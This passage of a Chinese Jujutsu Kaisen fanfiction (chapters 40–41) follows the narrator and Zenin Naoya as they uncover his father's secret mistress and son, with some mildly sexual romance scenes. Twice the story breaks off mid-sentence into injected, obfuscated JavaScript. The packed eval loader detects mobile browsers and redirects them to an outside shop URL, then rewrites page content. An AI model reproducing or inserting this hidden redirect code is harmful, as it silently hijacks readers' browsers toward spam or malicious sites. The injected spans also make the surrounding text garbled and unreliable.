他顿了顿:“不可能,甚一长得那个鬼样子,瞎了的女人才会……不,瞎了的也不会要他,摸起来太粗糙了,根本没人想碰吧?除非他自己戴…咦惹,好恶心。”他居然被自己的想法恶心到了,皱起眉来。 禅院秀吉回来了,你拿过他手上的厚厚账册翻到咒具饰品类目,珍珠项链那一页,领取登记簿上赫然有个不羁的签名‘禅院直毘人’。 “哈?老头子?”直哉金色的脑袋凑过来,因为入赘和家主这两件事,他们本来就稀薄的父子情现在更稀薄。他不屑地撇嘴,“肯定是送给哪个女人的吧,爸爸都七十多岁了还不消停。” 你一脸若有所思。 你们空手离开了禅院的咒具库,有了爸爸刀这样bug的存在,其他咒具都显得非常无力。如果爸爸刀愿意,它肯定可以一刀劈开游云。不过爸爸刀好像是个老派男人,可能会舍不得破坏游云,故意打偏? 爸爸刀太有主见了…有点不好。 你们没有直接回乐岩寺,而是在卖白玉抹茶冰的百年甜品老铺坐下。 你先吃了一口软乎乎的白玉团子,然后把剩下的半个喂给直哉,他漫不经心地用嘴接了,有一搭没一搭地用手机回复着躯俱留队的队长,禅院信朗的信息。 “直哉,你好像很久没有回家住了哦?”你好奇,“也很久没有去躯俱留队了,都是发信息。” “嗯。”他回答的理所当然,“禅院未来都可能不是我的,我干嘛尽心尽力?” 你惊讶地瞪大了眼睛,这话是从直哉嘴巴里说的?他终于愿意面对现实了? “哼,我想过了,生得术式这种东西,没有就是没办法啊。”他伸手拿过茶壶,为你续上茶汤,语速慢吞吞,“如果真的是伏黑惠我也无话可说,并不是我认可了他,而是我没有十影。” “你……能想通就很好了。”你有些干巴巴地回应,一下子没有想好怎么安慰,直哉说的很对呀,生得术式这种东西,没有就是没有,能有什么办法呢? “呵,咒术界本来就是这样现实的,我的术式比禅院扇一家好,所以只要他们不尊敬我,我就欺凌鄙视他们。伏黑惠的比我的好,他也可以夺走我的家主之位,合情合理。未来哪天禅院真希能打赢十影,那家主合该她来做。” 你目瞪口呆,甚至想伸手去摸摸直哉的额头,看他是不是发烧了,居然大彻大悟了? “老头子他从来没有把我当作儿子来看待,还有那些庶子也是,我们所有人都只不过是禅院力量的承载罢了,没有术式的废物就去躯俱留队,有术式的就去炳。他心里只有十影,只有伏黑惠那个姓氏都改了的小鬼!” 他恶狠狠地说着,金绿色的眸子里杀气都要满溢出来,你赶紧推了他一把,让他别在人家店里发神经。 你有些忧虑。 直哉口中的‘实力至上主义’,虽然你也是赞同的,但是… 他认为直毘人不爱所有孩子,他唯一所重视的只有禅院传承的十种影法术,所以不管拥有者是伏黑惠还是随便什么惠,他都是禅院最合法合理的继承人。这种冷酷的‘视术式为尊’的逻辑,确实比较好让直哉接受。 但是万一直哉误判了呢…… 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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隔壁桌的几个穿着和服的中年女士悄悄离席:边上那对小情侣挺好看的,但是那男的一会儿大喊大叫一会儿和刀讲话,好可怕! 回乐岩寺的路上你们都没有再提起禅院,但是你知道直哉把你的话听了进去。 他仍然没有放弃成为禅院家主,但是真的成不了也不会疯掉,这让你安心很多。 唯一让你担心的是,如果直哉知道直毘人全心全意爱着别的孩子,那个孩子甚至是庶子都不如的私生子,而且很有可能是咒力低微的普通人,作为继承了父亲术式的嫡子,他会不会炸啊? 你决定让与幸吉再查一查,他现在是乐岩寺幸吉,帮你这个‘表姐’干点活也是应该的!说起来…三轮最近经常来你家,他们应该是在交往吧? 你想得让外公提拔一下如此有用的与幸吉,这样的话他才可以有多多的工资带三轮出去吃好吃的,玩好玩的,买贵贵的,就像直哉对你一样……还得让外公把三轮勤工俭学的补贴拉到最高档,她一个人打三份工养两个弟弟太辛苦了! 咒术高层总监会养了一群高薪废物,老橘子们都在疯狂以权谋私,三轮和与幸吉有能力又是自己人,升职加薪才是应该的! 在脑内安排好这些,你觉得继承乐岩寺家真的超棒的!禅院只有扇和甚一那种莫名其妙的大叔,乐岩寺可是有青春无敌小情侣呢……宪纪现在也在家里,战力也增强了!怎么看都是蒸蒸日上!不像禅院日薄西山! 想到禅院,你认为有一点直哉说的还蛮对的,你也觉得伏黑惠不会回禅院……真希当家主?不不不,还是让真依当更有趣!她更会搞事情!你都能想象到她小嘴一撇挑刺嫌弃那帮和服大叔的样子了! 至于直哉嘛,按照直毘人的设想,嫁给你是最好的选择! 远离阴暗的禅院家,之后不管禅院发生什么破事,应该都不会牵扯到直哉这个出嫁男吧?不错不错,你很满意! 回到乐岩寺直哉先回你房间放爸刀,待他下楼就看到客厅的拐角处,一身运动服的加茂宪纪拿了网球拍给你,你俩有说有笑,靠的很近,氛围很松快。 “无耻之徒!从我的女朋友身边离开!”直哉几乎要扑上去,像一只毛完全炸开的狐狸一样。 “直哉!”你不满意他这过度的反应,刚想斥责,却看他那张美丽的脸上写满了愠怒!你是真的不理解,他到底在生什么气啊? “啊?禅院先生。”等到直哉几乎瞬移到你们中间,才发现三轮霞和与幸吉站在他视线的盲区,他们也是一身运动服,人手一个网球拍。 “禅院先生,我们正好缺一个人…”与幸吉解释。 “我来。”直哉一点也没有因误会而感到尴尬,他粗鲁地从你手上抢过球拍,心说不管入不入赘,反正他必须继承禅院,然后把你这只坏猫锁在里面!在外面一分钟不到就有男狐狸精…他完全忽略了这是你家,而不是外面! 考虑到你真的是狐狸精(四分之一),直哉又赶紧在心里改口:加茂宪纪不是狐狸!是男小三!! 他本想在你面前用网球打爆这个加茂庶子,结果发现他和加茂宪纪一队… 40.第 40 章 万圣节前夕,京都高专学生按照五条悟的计划分批前往东京。 因为身份敏感,与幸吉和宪纪都留守京都,和你外公一起。直哉认为加茂宪纪狡猾的要死,想通过独处讨好乐岩寺。你倒是觉得这样安排很合理:京都总得留个能打的保护外公吧?与幸吉已经没有咒力了! 你和直哉,三轮捎带上歌姬老师,坐着禅院的商务车前往东京。 你想和三轮坐在一起,但是在经过直哉身边的时候,他很幼稚地一把将你拖到他身边的位置上。于是三轮就和歌姬老师坐一排了。 “你说那个加茂家的假家主会不会也去东京?如果他是咒灵那边的,应该也会去吧?”直哉压低了声音和你说悄悄话。 虽然压低了声音,但是歌姬老师还是听到了些许,她也是较为奔放的性格,并没有觉得直哉是在说悄悄话,很是主动地加入对话:“嗯?家主?对哦,禅院家主已经在东京了。” “哈?”直哉有些意外,“他去干嘛?” 他并没有打算让歌姬回答什么,只是在自言自语。 确实有点奇怪,御三家的当主(五条外)日常坐镇京都,手下有那么多人,不需要家主亲自上阵吧?而且如果老头子要去支援东京,那么应该告诉他一声,一家人(直哉把坏猫默认为禅院少夫人)一起出发才更合适吧? “庵老师,请问走这个线路可以吗。”禅院司机突然搭话,转移了歌姬的注意力,结束了关于家主的对话。 你大概知道直毘人为什么是去东京,估计是去见那边的老婆孩子,可能会一起过个万圣节? 因为你有一个需要独自行动的计划,所以在车上你枕着直哉的膝盖入睡,养精蓄锐,他拿了兔子纹样的小毯子给你盖好,手有一下没一下地抚摸着你散开在他膝上的发丝,刚才升起的对直毘人的怀疑也渐渐消散,毕竟最爱的女人躺在腿上,他没心思去想讨厌的东西。 轿车一路平稳行进到东京高专,你们进入临时作为据点的一间空教室,西宫桃和东堂葵、禅院真依已经到达了,他们都以为机械丸和宪纪已经死亡,气氛也有些沉重。看到你和直哉步履轻松,一前一后进来,联想起你平时都是宪纪的小尾巴,即使和宪纪关系也不好,真依还是忍不住哼了一声,表达了对你薄情寡义的鄙视。 你一时间想不好,几时告诉他们机械丸和宪纪都还活着更合适,直哉的话打断了你的思绪。 “这不是小真依吗?你那个吊车尾姐姐不在?”直哉咧嘴笑起来,语气傲慢无礼,阴阳怪气,看起来非常欠揍,他应该是注意到了真依在哼你,所以想立刻报复回来。 你拉住直哉,刚想说点什么,突然一股铺天盖地的寒意从门外袭来,所有人都停止了动作,甚至进入了迎战状态。你有些惊恐地看向门外,手不自觉摸向腰间的爸爸刀(它爱待在你身边)心说难道是…特级咒灵的计划地从涩谷改成高专了吗? “大家都到了吗?哦?是京都的同学们。里香,别恶作剧呀。”随着清爽又温柔的声音落下,东京校的特级乙骨忧太背着剑袋走了进来,等他完全走进教室,那种压迫感十足的气息散去,他又好像变回了真男高中生一样。 虽然刚才被特级咒灵里香的气势压的喘不过气,但是你们和乙骨都是见过的,大家互相打了招呼。 直哉有些意外于乙骨的强悍,力不如人的他立刻尖酸刻薄地在你耳边嘀咕,大概意思是他看起来是个小白脸,即使拥有力量也没有特级的气度,甚尔比他更像强者……说来说去你明白的,你的直哉有两个标杆:悟和甚尔,因为五条老师是他单方面的假想情敌,所以甚尔是他最安全的旧神。 “哼,反正看起来是处男,没有什么魅力。”二十六岁才摆脱处男身份的直哉对乙骨下了这样的结论。 你有点无语:讲讲道理,乙骨忧太十七岁……是处男也很合理啊。 “浅川同学。”就在直哉碎碎念数落着乙骨的时候,他神不知鬼不觉地走到了你的面前。 黑色柔软的头发,白皙干净的皮肤,小狗一样湿漉漉的眼睛,连高专制服都是与众不同的白色!想到他也是钻石,而且很会装弱气小狗,直哉只觉警铃大作! “乙骨同学。”你很符合社交礼仪地颔首回应。 “上次交流会后,好久没见了,你……”乙骨话还没说话,直哉就打断了他。 “呵,你就是特级咒术师乙骨忧太吧,我是禅院直哉,久仰大名。”直哉很是自然地挡在你的身前,他比乙骨高一头,垂眸居高临下地看着他,挑衅意味满满。 “啊……禅院先生,您好。”乙骨很有礼貌地回应,但是眼神又黏着到了你的身上。 “有什么事吗?”你觉得他是有话要说。 “浅川同学,你的…”乙骨的话还没有说完,东京校二年级的熊猫、真希、狗卷走进了教室,他们身后还跟着竖起头发戴着眼罩的五条悟。 “哇!小离和忧太站在一起真是帅哥美女哇!”准备搞事五条悟。 “忧太!”熊猫激动挥手,“你回来了!” “你是什么时候到的东京,怎么没和我们说?”真希将咒具往地上一立,爽朗地招呼他,“快过来,别和那种人说话。” “鲑鱼鲑鱼。”狗卷。 那种人禅院直哉罕见地支持自己的堂妹:对对别理我!快把乙骨忧太带走! “抱歉,失陪。”出差归来的乙骨很高兴和二年级的同学们久别重逢,他有些抱歉地和你们告辞,然后就回到了同学们之中,和他们开心叙旧。但是眼神还是时不时飘向你们的方向,意味不明。 直哉第一次觉得禅院真希真懂事! “小离!”走了一个乙骨,又来一个五条,他鬼魅一般地出现在你的身侧,伸手就要来摸你的头发。 直哉几乎要术式发动,他把你一把捞到身边:“请自重!她是我的…” “诶,乐岩寺老爷子不是说大家都有入赘机会吗?”五条悟说着闪现到了你的另一侧,在直哉几乎要吃人的眼神中嚣张地摸了一下你的白毛。 你被突然摸了头发,一时间有点愣住,五条悟笑嘻嘻地用手抓了抓空气,完全就是想撸猫的样子! “入赘也轮不到你!”直哉明显被他的动作激怒,恼怒地一把将你的脑袋抱住护在胸前,几乎要破音。 本来还在聊天的学生们都看了过来,包括刚走进门的七海建人,和他带来的一年级虎杖、伏黑和钉崎。 ‘五条老师和禅院直哉在为了入赘吵架吗?’ ‘五条先生又在搞什么?’ ‘禅院先生也要入赘?他不是禅院的少爷吗?’ ‘鬼知道,禅院直哉脑子本来就不正常。白痴悟也是。’ 听着这群咒术师你一句我一句,直哉的俊脸都憋得通红,他想大吼,我入不入赘和你们有什么关系啊! 真的可能会入赘的直哉满面通红,看热闹不嫌事大的五条悟插兜哈哈哈。 你被直哉紧紧箍着,感觉都要被他掐死,你伸手去掰了一下他的胳膊,他以为你不安在寻求安慰,于是立刻低头亲了一下你的头顶,安抚你没事的,不用理会五条悟! 你:…不是,你松手啊! 下午无事,你和直哉去了禅院在东京的某个别墅,他提早支开了别墅里的管家和女仆,只想和你在一起。 禅院少爷当然不会主动做饭,直哉也不可能让你做(他说他的宝贝的手哪能用来做饭!)。你俩在银座附近转悠吃了漂亮午饭,又顺路买了一堆可丽饼、曲奇、寿司、苹果糖,炸鸡带回住处。你觉得你俩有点像电视剧里那种刚到东京工作的出租屋小情侣(富有版本),于是你一边吃炸鸡一边用脚搭在直哉大腿上,暗示他快做点什么。 他接到暗示,嘴里嘀咕着麻烦精,手却很诚实地帮你按捏起来。 “笨蛋直哉!”你心里有一个计划,准备开始实施!你将炸鸡丢开,又用湿巾擦了擦手,然后手脚并用地爬到他的身上,抬脸亲他光滑的下巴,同时动手开始解他羽织下扣到顶的衬衫扣子。 “离?”虽然最近几天你都非常主动,但是他还是有点受宠若惊。看你这个急不可耐的样子他是超开心!他抱住你把你翻倒,压在沙发上对你又舔又亲,并单手褪掉了他给你买的baby粉小开衫。 你们从客厅亲到浴室,又回卧室继续亲,反正就是缠缠绵绵火火热热,直哉一开始超满足,但是四五个小时过去,直哉感觉事情的发展有些奇怪。 “直哉,怎么了?”黑暗中,你兴致勃勃地压在他的胸肌上,用手点着他的脸,描摹他的唇形,完全就是勾引! “没事…”他心虚。 “诶?难道你不行了吗直哉…”你吃惊。 “你要不要喝点什么,买回来的奶茶还没喝,我去给你拿。”他想拖延时间。 “哎…”你难过。 “做做做!烦死了!不许唉声叹气!你这…欲求不满的狐狸!”他无法接受你的叹气,那里包含了太多东西,是个男人就无法接受!他只能再次把你压倒,恶狠狠地亲上来。 “直哉?直哉?”等到天擦黑,你戳戳他脸,确保他是真的睡着了。 刚才你和直哉说晚上想和三轮去逛街,他甚至无暇盘问,说了句早点回来,不许落单后闭眼就睡着了,看来是真的累了哦? 你心说多亏了前几天就开始纠缠,再加上来的路上你还补了眠,又吃了维生素补剂。现在的你不累不困,只是有点腿软。你麻溜起床更衣,猫猫祟祟下楼,三轮发信息说已经在外面等你了。 “浅川学姐!”三轮在大门口对你招手。 三轮说开车来接你,你以为是普通的车,结果她居然骑着一辆自行车!还拍着后座凳子招呼你快上去。 你从来没有坐过自行车后座,抱着三轮的腰摇摇晃晃的骑行让你感觉很是新奇。因为你们两个都是漂亮的美少女,路人纷纷回头打量,三轮被看得不好意思了就全力加速,你吓得紧紧抱住她! 根据与幸吉提供的资料,你们很快在知名富人区的一座大宅子门口停下,宅子主人叫做禅院柚木,也就是直毘人一直供养着的女明星。因为姓氏的缘故,你开始怀疑她和直毘人是不是已经登记了婚姻届… 咒术界许多老派人都是没有合法结婚登记的。两个家族举办一个结婚仪式就会被认定为合法夫妻。这位禅院柚木姓都改了…你决定先不想这些有的没的,办正事要紧! 三轮想去敲门被你拦住!你们是偷偷摸摸来调查情况的,怎么可以走正门呢? 你这个坏猫准备带着老实人三轮爬墙,你摸了摸衣服的内袋,发现提速符咒没有带着,大概是留在粉色开衫口袋里了,你根本爬不到那么高,怎么办啊? 三轮表示完全没问题!她可以托着你上去! “好高好高好高。”你被三轮托着,好不容易手脚并用地爬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162077|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,战战兢兢地站在围墙上。三轮说她先上来再把你抱下去。可你刚才做了太多次,腿一软居然直接从围墙上跌落了下去! “啊!”你想象中脸着陆的惨案并没有发生,而是被一双骨节分明的修长大手稳稳托住,你有些懵地抬头,看到眼前是非常熟悉的金绿色漂亮上挑眼。 “你没事吧?”他的声音温润如玉石,又清雅如泉,没有一点点关西腔,是很纯正的东京口音。 你愣愣地看他,这个年轻男人和直哉年龄相仿,穿着一身质地极佳的和服浴衣,金发上挑眼,高鼻梁薄唇,除了气质不一样!其他简直和你的直哉一模一样! 他公主抱着你,眉眼里全是温柔。和直哉身上常年萦绕的道场木质香不同,你感觉这个抱着你的男人闻起来很清新,是淡淡的佛手柑味。 “我没事…谢谢你。”你故意将没事说的响了一点,让一墙之隔的三轮知道你没摔着,“谢谢你,现在请把我放下来吧…” “抱歉。”他也仿佛如梦初醒,动作很轻地将你放下,“我叫禅院俊彦,请多多指教。请问你是…?” 你认为这绝对是直毘人的外室子没跑了,和直哉有九成像!名字还那么禅院!你心虚低头,声音轻轻的:“你好…禅院先生,我叫…” 你只是来调查一下情况的,不是真的来交朋友的!所以你脑子一转脱口而出:“我叫三轮明光,请多多指教!” “三轮小姐,名字非常好听。”他微笑起来,明明是傍晚了,他的脸看起来却那么明亮。 “我…”你还没有把来之前编好的借口说出来,对方居然先为你说出来了。 “你是我妈妈的粉丝吗?”他那双和直哉几乎一模一样的眼里盛满了温柔,“她晚上有演出,不在家呢…” 正主不在,你刚想告辞,没想到禅院俊彦人特别好! “我有两张妈妈今晚演出前排的票,本来要一起去的朋友临时有事,三轮小姐,要一起去看吗?” 你给三轮发信息让她先回高专,你一个人没问题!根据你的观察,禅院俊彦的咒力就是普通人的水平,可能连诅咒都看不到。他的身体虽然有锻炼痕迹,但是和直哉实战得到的肌肉是没法比的,没有什么攻击力!格斗技巧可能在你之下! 你也不担心直哉会醒来,他都被你…累成狗了!退一万步说,就算他醒了,你再骗骗他好了。比如说和三轮在做美容spa之类,反正三轮回的是高专宿舍,别墅里的直哉不可能遇到她! 在去剧院的车上你时不时偷看他,他实在是太像直哉了!是温柔性格的直哉,金发好像是天生的喔…你和他断断续续聊着天,他知无不言、言无不尽,你很快知道他毕业于佛罗伦萨艺术学院,会弹钢琴拉小提琴,做饭好吃,喜欢小动物,现在经营着一家画廊。总而言之就是世俗中非常优秀的男人! 他就比直哉小一周,如果他回归禅院,直哉就不是家里年龄最小的小少爷了…所以直毘人这家伙!妻子怀孕的时候他在外面建设小家庭啊! 你愤愤不平地握拳,心说等直哉嫁过来,你一定要多多敲诈直毘人,反正直毘人的钱不给直哉也会给…你飞快地瞄了俊彦一眼,又觉得也不能怪他,甚至不能怪那个柚木女士,要怪就怪直毘人! 你很难对拥有直哉相似脸庞的人真正生气,真依和直哉只有一点点像,你都会宽容她的屡次挑衅。 到了剧院,你先和他去看了他妈妈主演的歌剧,期间你有些心不在焉,满心都在想直哉很可怜啊!但是又没办法对俊彦摆脸色,他一看你,你就想到直哉,然后就没办法很冷硬! 谢幕他带你去了后台,这也是你的主要目的。你要看看那个外室!虽然刚才她登台了,但是你还想近距离感受一下她是否有咒力。 俊彦打开后台化妆室的门,你惊呆。 不同于平日里那个穿着和服敞开袖子醉醺醺的老头子,眼前的直毘人西装革履,头发整齐油亮,身姿挺拔,完全看不出七十多了,更像是五十出头。他正很殷勤地忙东忙西,被坐在那里的美丽金发混血美女指挥的团团转,光是咖啡都被她要求加了三次糖和奶。 他这样强的一级咒术师,因专心服务情人,都没察觉到你的出现! 你脑海里不合时宜地出现了一句话:给女人当狗,是禅院遗传的…吗? “父亲,母亲,这是我的朋友,三轮小姐。”禅院俊彦并不知道你的想法,他主动将你介绍给了父母。虽然他也觉得父亲的脸色有点古怪,但他认为是父亲没见过这样美丽的人,被美貌震慑了。 “母亲,麻烦多签几个名。”他从口袋里拿出一沓照片,“三轮小姐是你的粉丝。” 你就这样被塞了一大堆签名照,在直毘人复杂的眼神下,热情的柚木女士非常喜爱你,挽着你的手走出剧院,俊彦则像带女朋友见家长的男人一样站在你们身边。你偷瞄她:确实戴着那条黑珍珠咒具,除开这个,她的耳环、戒指、手链甚至胸花,全部都是一级以上的防御咒具! 你心说这情况比想象中还要糟糕,直毘人完全是柚木女士最忠诚的老狗,爱全部在她和她的孩子身上。怪不得他觉得把直哉赘出去已经很对得起他了…你想找个借口告辞,却看到眼前停下了一辆黑色的轿车。 车窗缓缓降下,露出了禅院直哉一脸阴鸷的脸,他的狠戾视线落到你们身上,都快把你们炙伤了!你迅速拉开和身边俊彦的物理距离,心里咯噔一下:糟糕! 41.第 41 章 你实在是太了解直哉了,他现在的愤怒程度绝对可以排进历史前三,在他眼里你应该差不多算叛徒:把自己的嫡亲男朋友X昏睡过去,再跑出来和一个长得很像的替身约会…… 他的怒火几乎具现化,如果不是直毘人很强,你都怀疑他有弑父的可能性,那眼里的愤怒让他漂亮的脸都变得和男鬼一样可怕。你开始担心他是否脑补了以下:直毘人偷偷将你介绍给外室子,还亲亲热热一家子一起看剧。 你急中生智。 “直哉!”你甜甜地喊了他一声,瞬时甩开柚木女士的手腕,开心地去拉车门,发现拉不开,你继续撒娇,“直哉~快开门,快开门!我要上车!” 你的直哉很仔细,日常开车会锁门来着。 “哼。”虽然他确实在怀疑你,但是你这幅心心念念都是他的表现还是取悦了他。他没有直接打开车锁,而是下车绕到你的身边,为你将车门打开,顺带着用锋利如刀的眼神瞪了一眼俊彦和直毘人。 “禅院先生,柚木女士。今天的表演非常精彩,感谢款待!我男朋友来接我啦。”你踮脚亲了直哉一口,完全一副小鸟依人的样子坐进他的豪车副驾,还不忘和直毘人他们摆摆手。 在亲直哉的时候你感觉到他僵硬的身体软化下来了,计划通! “……男朋友?”俊彦此时才回过神来,虽说三轮小姐这样漂亮的女性有男朋友非常正常,但是这个男朋友为什么,为什么好像他的克隆人啊!!而且眼神看起来好像想杀人…等一下,我们不是在法治社会吗? “呵,直哉,你们先走吧。”直毘人倒是还算淡定,他并没有任何被亲儿子捉奸的窘迫,毕竟他不洁也是名声在外。如果表现的太紧张,反倒会让直哉怀疑柚木的特别。 他想表现出只是养外室,却不知道他的财产流向已经被机械丸与幸吉截获,早就暴露了这是他名义上第二个,实际上第一个家的事实。 “哼,不用你说我也会走的。”直哉冷哼,并不打算和这一家子废话:看到那个冒牌货他就知道,这家伙应该和他差不多大。该死的老头在妻子有身孕的情况下还在外建立新的家庭……这个混血情妇满身咒具,甚至还戴着阿离想要的项链,老头子肯定是爱的要死要活的。 车子驶离的同时,你听到柚木女士高声责问,为什么会有一个那么像俊彦的孩子?!直毘人回答了什么你没听到。不过应该是闹起来了… 直哉一路无话,沉默地开着车,你坐在副驾驶,握着本来坐副驾的爸爸刀,感觉到了些许心虚:你的本意确实是帮直哉打探一下敌情,但是他现在好像生气了?是因为你刚才和俊彦站在一起吗?还是因为你让柚木女士挽着胳膊了?或者是……直哉怀疑你知情不报?早和他们一家有来往? 到达别墅,你溜溜达达地紧紧跟着直哉下车,上楼,趁着他进门洗手的时候,你一把从后面抱住了他的腰。 “直哉,怎么不理我。”你用脸蹭他的背,完全讨好的语调,“直哉~是不是生气了呀?我也是想帮你查一下……” 他不说话,冷冷地走开了! 你立刻明白,小狗在闹脾气! 你知道他有一堆火无处发,毕竟直毘人不在身边,所以通过这种冷漠的表现想引起你的注意!直哉实在是太好懂了。 之后你就像一条小尾巴一样跟着直哉走来走去,他煮咖啡你在边上看,他收拾衣服你在边上捣乱,他生气地看你一眼然后丢下衣服,你又跟着他走出卧室。 “直哉,直哉,直哉。”你锲而不舍,穷追猛打,“我就是去查一下他们的情况,我也是第一天见到那对母子,我没有投敌呀!” 他一把捏住你的脸颊让你说不出话,语气阴冷低沉:“闭嘴。” 如果是往常,只要有了身体接触那么一切好办,但是今天他好像真的很生气,即使你把脑袋凑过去,他也没有顺手摸你的脸,更没有捧住你的脸亲一口。你打算再想想办法。 做?不不不,今天做了太多次了,他应该目前需求不高!那么…按照你从电视剧里得来的‘哄男友’知识,你决定下厨,做点好吃的给直哉! 并不会做饭的你下楼去便利店买了一包辛拉面,又拿了乱七八糟的蟹柳、芝士、溏心蛋之类的速食品,按照在油管上看过的美食博主的做饭视频,一股脑儿都加了进去。 你知道直哉在偷偷关注你,因为你按一楼的应答门铃后立刻就开了!这个房子很大,如果他从别处走来不会有那么快!他肯定是在发现你下楼后,就狗狗祟祟地站在门厅等你回来! “她在厨房里鼓捣什么,味道好奇怪,终于打算毒死我了吗?”在你专注料理的同时,直哉在客厅里也有些忐忑甚至不安。 “啊!”突然,你的惊叫声传来。 “离?!”直哉几乎是一秒冲进厨房,他看到你跌坐在地上缩成一团,身边是裂开的碗和冒着岩浆一样热气的火辣拉面,溏心蛋咕噜咕噜地滚到他的脚边,提醒他你正在为他下厨。 “哇啊,好可怕!”你是万万没想到,桌上这个碗如此脆皮,你只是把拉面倒进去就能把它炸裂……你缩在角落里,眼泪汪汪,确实是被吓到了。往日只有你用岩浆浇别人,哪有自己遇到这么可怕的情况! “别怕。”直哉跨过汤面冲过来把你抱起,语气焦急,不断打量你有没有受伤,“有哪里被烫到了吗?” “呜呜呜,胳膊被烫到了。”你开始哇哇大哭却只掉了几滴眼泪,并且发动联动技能迁怒,“好痛啊直哉,都怪你!都怪你不理我!” 你的胳膊上有一个指甲盖那么大的红印子,估计是面碗炸开时溅出烫到的。 “快用反转术式啊。”直哉急道。 “我不!我不用!”你紧紧箍住他的脖子,一边泪眼婆娑一边指控,“如果我的伤好了,你肯定就不会抱着我,你刚才冷暴力我,这是很严重的家暴行为!” “我不要治好自己,我要一直受伤,如果我好了,你肯定就不要我了!”你越说越严重,好像直哉已经提离婚了一样,虽然你们并没有结婚。 听到你这套近乎于耍赖的说辞,直哉露出了有些怔忪的表情。 即使知道你在胡搅蛮缠,可是你的话还是深深打动了直哉,他想要成为你最特别的人,而你好像……已经把他当成了最特别的人。 他不再言语,只抱着你去了客厅,又拿了烫伤膏仔细为你处理了伤口。 你就一直抽噎,委屈坏了。 “是我不好,不应该迁怒你。”这是直哉能说出口的最接近道歉的话,他微微垂头看向被安放在沙发上的你,干脆坐下来把你放到腿上整个圈住,他用下巴抵住你的发顶,轻声呢喃,“我怎么可能不要你。” ‘你别不要我就行了。’这是没说出口的。 “呜,你光这样道歉不行。我明天想去迪士尼,还想吃比脸还大的那家圣代,等下我把地址发你,我还想……你都不陪人家。”你顺势提了一大堆要求,虽然这些事情你自己都可以轻松完成,但是恋爱就是要和男朋友一起!而且直哉拍照技术不错,去迪士尼不带他有点亏。 “哼,什么鬼,我哪次没陪你去了……”直哉依然抱着你,他的声音飘渺得有些不真切,“老头子本来就三妻四妾,我只是不敢相信…一个没有咒力的禅院,居然可以活得那么好……” 你的直哉并不是单纯的嫉妒俊彦,而是禅院价值观被打破了。 论说家主之位,即使伏黑惠的父亲已经入赘,但是他确实掌握着十种影法术,直哉嫉恨却也理解:隔壁的五条家发现六眼立刻让他继位,隔壁的加茂家即使是庶子也硬记在嫡母名下。御三家本来的立身之本就是传世的术式…当然现在加茂家情况特殊,算论外。 他没有十影,所以很可能会入赘乐岩寺。他当然是非常抗拒入赘的!但是对象是你……这份抗拒就变得非常无力,好处实在是大于坏处太多了!如果你们真的成婚,他能想到的首当其冲的好处就是不用买雨伞了… 可现在禅院直哉发现父亲成了一个非唯术式论者,只要是爱人的孩子,没有术式没有咒力都没有关系。他不会让真爱的儿子加入躯俱留队受训受累,也不会让他加入炳出生入死,甚至连真希姐妹在家里做的那些杂务,都不让这个禅院俊彦碰一点点。他完全跳脱出了禅院的规矩和责任,为那对母子筑起一个金屋,将一切风雨都挡在屋外。 禅院直哉这个人是由什么组成的呢?他无法割舍的除了你以外,就是术式、咒力和美貌。他理直气壮地认为没有美貌的人低人一等,没有术式的人低人一等,没有咒力的人活着更是浪费米饭。而现在,禅院俊彦,这个空有美貌的真废物,得到了父亲最多的爱,过着禅院最舒服的日子。 直哉庆幸已故的母亲和老头子只是联姻。不然现在的他会更想干掉那一家子!他们不但享受了好处,还害坏猫被烫伤了!(?!) “以后干什么都要带上我,知道了吗?”直哉箍着你,语气闷闷,“老头爱包庇他们就随他去吧,反正是个活不了多久的老东西,我也不是孤身一人…” “有什么关系嘛。”你吸了一口直哉香香的味道,用漫不经心的语气说道,“禅院怎么样都无所谓啊,直哉你难道没看过爽文吗?” “哈?”你的思维跳跃得太快,直哉一下子没反应过来。 “你现在就是一个爽文男主的配置啊!家主之位不保,父亲又袒护别的妻儿!我跟你讲,你现在应该默默隐忍,入赘乐岩寺,然后做大做强!振兴乐岩寺,等到禅院乱成一锅粥变得一塌糊涂的时候!你再跳出来嘲讽他们!” “你看!你很漂亮也很强!我就更不用说了!等你嫁过来,我们就生一堆漂亮的孩子!我们都那么强,孩子肯定也是又强又漂亮!对了,我们的孩子还有妖怪血统!听起来就特别厉害,是主角预备役呢!到时候等孩子们都长大了,乐岩寺可能是新的御三家喔!” 你眼睛亮晶晶,越说越激动!连你自己都要信了这张大饼! 直哉一时间瞠目结舌,御三家什么的他听不到,他满脑子只有你说的孩子,他和你这只坏猫的孩子…是小小坏猫吗?他不要生一堆,有一个就已经很好了… 因为你们想象中的未来实在是太过美好!他紧紧抱住你,轻声呼喊你的名字,好像全宇宙只有你这一只坏猫是真真正 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“哈?你怎么可以骗我爸爸!”你不高兴了,马上又是一顿猫拳输出,看直哉还是嬉皮笑脸完全没有知错的意思,你又开始扒拉他的衬衫。 “什么?!浅川离…你适可而止一点!”直哉果然立刻变脸,超级警惕地拉住自己的衣襟,不让你扯。 “干嘛啊直哉,你有精力出来抓我,没精力干点正事吗?”你虽然也不是那么想要,但是看直哉花容失色很有趣! 他被你扑倒,你能感受到直哉嘴巴说不要,身体很诚实。你想他可能确实是有点累了,于是善解人意地提出你在上面,他躺着享受就行,你很厉害的! 你果然又戳中了直哉的痛点,他立刻翻身把你反压在身下,咬牙切齿的说女人怎么能在上面!我可是禅院直哉… 好好好,是是是,你没什么诚心的点头,暗下决心有朝一日,就算要分手也得在上一次后再分。 … 第二天你们一觉睡到天亮,直哉是真的累了,你数了一下家里的雨伞都差点被用光,于是开始推他,打算外出购物! 